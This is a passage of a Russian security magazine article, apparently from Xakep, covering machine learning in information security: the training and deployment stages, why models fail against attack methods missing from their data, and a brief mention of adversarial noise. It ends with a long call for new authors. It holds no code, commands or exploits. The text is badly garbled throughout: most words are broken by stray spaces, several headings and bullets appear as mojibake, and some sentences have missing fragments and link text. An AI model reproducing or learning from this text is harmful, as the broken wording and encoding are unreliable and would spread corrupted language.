чики из Google наш ли воз можность переда вать ней росети зашум ленные дан- 
ные и зас тавить выдавать сов сем не те резуль таты, которые от нее ожи дают.

INFO

Под робнее о реали зации этой ата ки на ней росети
читай в статье «

».
Ис ходный кот. Как зас тавить ней- 

рон ную сеть оши бить ся

ÎÑÎÁÅÍÍÎÑÒÈ ÌÀØÈÍÍÎÃÎ ÎÁÓ×ÅÍÈß Â ÈÁ

Вот как в целом выг лядит исполь зование машин ного обу чения в работе.
1. Заг ружа ем, собира ем и перера баты ваем дан ные.
2. Вы деля ем приз наки.
3. Тре ниру ем нес коль ко моделей, срав нива ем эти модели и выбира ем одну

из луч ших.
4. Внед ряем луч шую модель в сис тему.
5. По даем дан ные на модель и смот рим, что она выда ет на выходе.

Мож но подумать, что если в осно ве интернет-безопас ности лежит решение
на базе машин ного обу чения, то алго ритм все дела ет сам: учит ся, выяв ляет
ано малии, опре деля ет взлом щиков. Одна ко это неп равда. У работы на осно- 
ве машин ного обу чения есть два эта па: обу чение и исполь зование модели.
Они меж ду собой не свя заны. То есть сна чала мы обу чаем модель, а ког да
начина ем исполь зовать ее, модель уже не обу чает ся.

Нап ример, мы обу чили сеть рас позна вать кошек и собак. Если этой сети
показать мор жа, она сва лит ся в два сос тояния: либо кот, либо собака.
Но морж — это ни то ни дру гое. То же может про изой ти и ког да мы довери ли
сети сле дить за каким-то аспектом безопас ности.

До пус тим, есть све дения о том, как дей ству ют хакеры. Мы каким-то обра- 
зом прев ратили это в набор дан ных и раз метили их в сис теме. Ког да хакеры
будут дей ство вать в соот ветс твии со схе мой из нашего набора, клас сифика- 
тор вов ремя опоз нает угро зу и вов ремя пред при мет какие-то меры. Если же
хакеры при дума ют новый метод взло ма, которо го нет в наборе дан ных, то
на выходе резуль таты могут быть неп ред ска зуемы ми.

ÏÎÄÂÅÄÅÌ ÈÒÎÃÈ

1. Нет уни вер саль ного алго рит ма, который будет решать все задачи. Раз ные
алго рит мы помога ют решить раз нооб разные задачи для раз личных дан- 
ных.

2. Дан ные нуж но пос тоян но обновлять. Нель зя нат рениро вать алго ритм
и наде ять ся на него. Нап ример, до 2010 года наив ный бай есов ский клас- 
сифика тор мог филь тро вать спам, но потом его научи лись обхо дить.
Теперь нель зя исполь зовать этот алго ритм. Нуж но искать новые решения.

3. Нуж но понимать раз ницу и выбирать слож ность модели в зависи мос ти
от того, где она будет исполь зовать ся. Нап ример, если нуж на работа
в режиме реаль ного вре мени, модель мож но выб рать полег че. В режиме
офлайн вре мя не огра ничи вает ся, мож но счи тать, сколь ко угод но.

4. Ес ли набор дан ных непол ный, некачес твен ный, то никакой алго ритм
не поможет.

По это му нуж но пос тоян но монито рить ситу ацию, собирать набор дан ных,
раз мечать его и про дол жать обу чать клас сифика тор. Толь ко так сис тема
будет иметь минималь ное количес тво изъ янов.

https://hackerdom.ru/
https://habr.com/ru/company/yandex/blog/230583/
https://www.kaggle.com/
https://xakep.ru/2019/07/19/source-cat/


СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции

https://xakep.ru/contact/
https://xakep.ru/contact/
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